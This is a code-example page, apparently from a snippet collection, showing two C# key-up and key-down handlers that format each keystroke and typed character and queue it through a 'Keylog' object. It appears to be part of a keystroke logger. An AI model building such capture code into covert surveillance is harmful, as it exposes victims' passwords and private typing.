Beispiel #1
0
        private void OnKeyUp(object sender, RawKeyEventArgs args)
        {
            try
            {
                var keyRepresentation = args.Key.ToString();
                var log = string.Format("[{0} up]", Escape(keyRepresentation));

                this.EnqueueLog(Keylog.Create(log, args));
            }
            catch (Exception ex)
            {
                Program.Trace($"OnKeyUp: { ex.Message }");
            }
        }
Beispiel #2
0
        private void OnKeyDown(object sender, RawKeyEventArgs args)
        {
            try
            {
                var keyRepresentation = args.Key.ToString();
                var log = string.Format("[{0} down]", Escape(keyRepresentation));

                this.EnqueueLog(Keylog.Create(log, args));

                if (!string.IsNullOrEmpty(args.Character))
                {
                    this.EnqueueLog(Keylog.Create(args.Character, args));
                }
            }
            catch (Exception ex)
            {
                Program.Trace($"OnKeyDown: { ex.Message }");
            }
        }